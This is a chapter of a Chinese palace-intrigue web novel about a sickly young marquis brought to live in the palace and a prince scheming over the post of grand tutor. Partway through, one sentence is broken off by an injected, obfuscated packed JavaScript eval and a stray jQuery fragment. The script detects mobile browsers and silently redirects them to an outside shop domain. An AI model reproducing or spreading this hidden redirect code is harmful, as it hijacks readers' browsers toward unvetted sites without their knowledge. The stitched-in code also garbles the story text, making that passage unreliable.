文趣网 > 其他小说 > 白月光他一心求死 > 3. 努力作死的第三天:
    最终,太后带着景瑎到一处宫殿安置下来。

    那宫殿叫“霖轩阁”,就在寿安宫不远处。

    “这……”

    “侯府久无人居,一堆奴才伺候得哀家也不放心。瑎儿,你住宫中陪陪祖母好吗?”

    自从见了人,太后的手就没松开过景瑎,此刻一番话说得真诚,景瑎看了看周围毕恭毕敬的下人,又抬头看向装潢华贵的宫殿,只能应下。

    他被推着走,不敢轻举妄动。

    但若论私心,景瑎是不想住在宫里的。

    谁知道皇宫有多少勾心斗角……他什么剧情都不清楚,可谓是步步惊心。

    他心里一群小九九,眼神却怯懦而警惕恰巧,这又戳中太后心底最柔软的地方。

    她抬手摸了摸少年的脸颊。少年的眼睛形状本是灵动飘逸,和长公主少年时极其相似,但是在太后眼中,记忆中豆蔻年华的女儿有多快乐无忧,现如今的少年就有多么瑟缩可怜。

    饶是雷霆手段半生的太后,此刻面对景瑎,也做不到毫不动容。

    一旁的女子察觉到太后的情绪,连忙握紧了手,缓声提醒道:

    “小侯爷舟车劳顿,也累了。娘娘也注意身体啊。”

    太后连声应下,身后太后身边的大太监立刻有眼色地上前,在霖轩阁内安排好一应人等。太后嘱咐再三然后才离去,让景瑎好好休息。

    徒留景瑎看着偌大的宫殿。

    雕栏玉砌,翠霞金缕。

    整个宫殿的装潢华贵逼人。

    景瑎坐立难安。

    可直到此刻,脑子里再度浮现出来刚才那人的面孔。

    那双眼睛里……有种说不上来的东西。

    ——————

    燕王送小侯爷回宫后自行归家,又守着禁足的规矩了。

    燕王对小侯爷恶语相向传遍京城。

    众人皆道:陛下特意让燕王去迎接,是为打压燕王的气焰。

    回府的阎济面不改色,一下车,府中管事接过披风事牌,跟着阎济回院。

    直至走到一处院子门口处,阎济顿住脚步,朝里看去。

    院子中央坐着的,正是方才的绿衣青年。

    他摇着扇子,仰起头看了看天。

    “诶呀,这太阳好毒辣,王爷再不回来,本公子都要晒黑了?”

    阎济走近。

    他玄衣墨发,身量极高,衣衫下摆盖住暗金纹路的长靴,但走起路却带风一般,腰间环带着一块莹润洁白的圆形玉佩,和极为锐利的五官形成反差。

    这个时候,男人身上已经全然没有了跋扈嚣张,只剩沉静如深潭的一双眸子。

    “你不该这个时候来。”

    绿衣男子看他一眼,不甚在意笑道:“子渡兄越发谨慎了。只是那皇帝老儿此刻左手拿着小侯爷,右手又愁着太师人选,估计是焦头烂额,顾不上我这等清散闲人。”

    说完,品了口茶,摇头晃脑道:

    “德水,你家王爷这茶怎么还没我府里的好喝?”

    阎济身后的管家德水只挑着听,和蔼笑道:“下面奴才使懒,都是晨起时的茶了,叶小公子莫喝,奴才换一壶来。”

    德水拿着阎济的披风屏退众人。

    叶修延笑嘻嘻吩咐道:“我要喝你家王爷最贵的茶。”

    周遭无人后。

    阎济坐到他对面的石凳上,看他:“他带来的人呢?”

    “我派人给匹马送进宫了。”

    叶修延这才带上几分正经,“你见着人了,如何?”

    阎济看向他,许久也没有说话。

    这沉默来得诡异,叶修延看着人,有些摸不着头脑。

    “你没见皇上?”

    阎济默认。

    “你……”

    “我今日晨起递了道折子,请封太师一职。”

    此言一出,叶修延一把将扇子收住,倏地站了起来。

    “你疯了?!”

    “你敢在这个时候触霉头,不要命了吧?”阎济一字未说,叶修延就巴拉巴拉快速唠叨起来:“太子现在的身份本就是敏感话题,你的处境更是……皇帝整天想着怎么弄你,你这,你这不是自己找死吗?”

    阎济抬头,面不改色,淡定非常:“我不要兵权。”

    叶修延又是一噎,彻底说不出来话。

    “叶老将军是纯臣,皇帝放心。”

    “……”叶修延突然沉默起来,他看向阎济的神情带上浓重的不解,骤然和抬起来的阎济对上目光,哑然片刻。

    京郊大营的兵权一直在燕王阎济手中,直到皇帝亲卫绣衣使有二十人无声无息死于大营外五里地的剑陵崖。

    皇帝震怒,直指阎济统兵不力,此举……形同谋逆。

    阎济交出兵权,自请禁足。

    随后,皇帝将兵权全数交予到叶老将军手中——

    也就是叶修延的父亲。

    叶修延此刻快速思忖着,很快说道:“你……见过太子?”

    阎济摇头:“还不曾。”

    “太后会将人送给太子做伴读。”

    他不需要提名字,叶修延也知道那人是谁,今日才归京的小侯爷,闻此消息,又是怔愣许久。

    半天,他才表情古怪地说道:“你大费周章这么一圈子,就为了那位小侯爷?”

    “子渡,你莫非是……”

    动了拥立新君的念头吧。

    只是这话太过于大逆不道,即使周遭无人,他也没敢将后半句说完。

    这次阎济接话很快。

    “不会。他做不了。”

    “你怎么知道?我大宸长公主曾经不足及笄之年就才名满天下,如若不是驸马出身于前朝玄皇后人,未必就不能争一争这天子之位,若是……哪里轮得到——”

    “——你也说了,昭信侯毕竟出身于玄皇后人,他是昭信侯的血脉。”

    阎济将叶修延的话堵死,反倒更让他愈发疑惑。

    “子渡,你何时看重过这些?而且听你这话,对这位小侯爷很熟?你到底是怎么想的。”

    小院中寂静了半响,烈日穿过浓绿的树冠枝杈,投射在形成男人身上星星点点的光斑。

    阎济垂眸,俊美无铸的脸静默着,睫毛遮住了大部分神情,让人看不清楚。

    方才去烹茶的德水此刻在门口轻声开口,打断院落中的寂静。

    “王爷,宫中来信了。”

    阎济:“进。”

    德水将一整套描金瓷器摆上石桌,恭恭敬敬地端在叶修延面前,似乎是没有注意到原本的气氛,做完这一套动作后才俯首在阎济身前。

    “陛下身边的大公公福泉到了,还带着百花节的请帖。”

    阎济挥手:“知道了。”

    他起身向外迈步,在叶修延面前一顿:“你喝完茶就回去吧,此事我心中有数。”

    说完,不等叶修延再问,就扬长而去消失在门口。

    剩下他和德水四目相对。

    德水替自家主子带着歉意一笑:“这是王爷新得的‘玉雪含翠’,公子尝尝。”

    叶修延越想越气,端起来喝了一大口,砸吧半天嘴也没品出来味道,只觉是浪费好茶,抬起扇子嘟囔道:

    “德水,你去去给我打包,我带点回去孝敬老头子。”

    “别给你家这气人的主子省钱,看我喝他个百金。”

    德水笑道:“是。”

    ……

    阎济到王府朝晖堂的时候,大太监福泉正好坐着喝茶,见阎济出门,站起来从小太监手里接过一道锦缎布料的折子。

    “咱家给王爷道贺。”

    阎济面色稍轻:“不知公公道的什么喜?”

    福泉擦了擦额头的汗,说得煞有介事:“陛下开恩,下旨解了王爷的禁足,可不是大喜嘛。”

    阎济挑眉。

    福泉手里没带圣旨,可人却实打实地到了,见阎济沉默着,也不打算卖关子,直接递出那道织锦暗花的折子。

    阎济接过,就听福泉说道:“再过月余就是宫中的百

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680729|207676||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    花节了,今年陛下的意思是要大办,这样的好日子,怎么好少了王爷呢。”

    “陛下宽仁,禁足王爷两月小惩大诫,心中还是不愿责罚王爷太狠的。”

    阎济心领神会,立马行礼:“臣感念陛下深恩。”

    当今朝堂,阎家的势力盘根错节,偏偏皇帝根基又太浅,根本不足以渗透到世家中去,于福泉来说,是很乐意在一些权臣面前落个人情的。

    即使这位受了罚,目前手中并无实权。

    可这不是暂时的吗?

    福泉眼角眉梢都带着笑意,一张老脸快皱成一朵菊花,他假模假式地扶起阎济,起身时又悄悄地出声:

    “王爷所想的事儿准能成。”

    阎济抬眉:“来人,送送公公。”

    待一干人等尽数离去,阎济才翻开那道折子。

    上面写着“百花宫宴”,时间是三月廿七。

    月底么……

    他不由得想起来少年那道纤细薄弱的身影,深思片刻后朝院中轻轻喊了一声雾一。

    几息之后,一道黑色身影悄然飘落到他身侧。

    “主子。”

    “你去查……他此行一路,重点查活跃在江南一带的绣衣使踪迹。”

    “是。”

    随后,黑影消失得无影无踪,就好像大堂里从来都只有他一人。

    ……

    ……

    ……

    “寂哥哥。”

    细雨霏霏梨花白,燕拂画帘金额。

    片片梨花顺着窗户飘来,正好落在贵妃塌躺着少年的锦被上,景瑎抬眸,聚精会神地看着,皮肤净白如雪,墨发安然归拢在侧。

    隋寂端着药碗进来,轻轻将药放在桌子上。

    他那日跟在后面,随后被叶小将军的人送进宫中,这才得以和公子在宫中侍奉左右。

    只是公子又病了。

    景瑎向来白皙,但是此刻仔细观察,就能看见少年的眼尾带着不正常的酡红。

    他被锦被裹得严严实实,非要拱在窗前看花。

    隋寂有些无奈,但只能从了他。

    窗外梨花落,公子看了心情或许能好些。

    “公子,喝药了。”

    隋寂换上了一身高等侍卫的装束,朝榻上的少年说道。

    景瑎正在观察自己手腕间的红玉珠子,放在阳光下去,红色的珠子呈现出透明的质感,其中的纹路似乎像活得一样。

    他聚精会神,原本微眯的眼睛悄悄掀起来半个。

    就看见隋寂过来。

    景瑎眨眨眼,隔着大老远就闻见一股苦味。

    “寂哥哥。”

    隋寂将药碗一伸,少年就道:“我病快好了,不需要喝药。”

    “这不是药,这是公子一贯滋补的方子。”

    隋寂陈述道,见少年明显想耍赖的样子,准备再规劝几句。“要不属下去通传……”

    “别。”

    景瑎相当识相,立马拽住隋寂的衣角。

    “喝,我喝。”

    完了一口气乖乖将苦药喝下肚。

    苟下去,活命要紧。

    最好还是别弄出来大动静,这不是提醒暗地里的人赶紧弄死他么……不过他身体到底还是不爽利,喝了药,就又昏昏沉沉睡去。

    进入梦中,一双秀眉还轻轻蹙着。

    隋寂坐在塌边,一遍遍用视线勾勒着少年的面孔,渐渐失了神,直到那道呼吸声渐渐平稳,他才收回视线,抬手轻轻压了压被角。

    他的眼神复杂而黯淡。

    霖轩阁内从门口到内间的帷幕重重叠叠,华丽而繁复,将窗外的光线遮了个七八,室内因此显得昏暗。

    他从中走出,穿过一层层帷幔。

    最外层,角落跪着个小太监。

    小太监见人出来,匍匐在地,悄声告知:再过半月,是宫中的百花宫宴。

    隋寂沉默片刻眸色黯淡,后偏头朝内间踏上的少年瞥了一眼。

    “你带我去参见大娘娘。”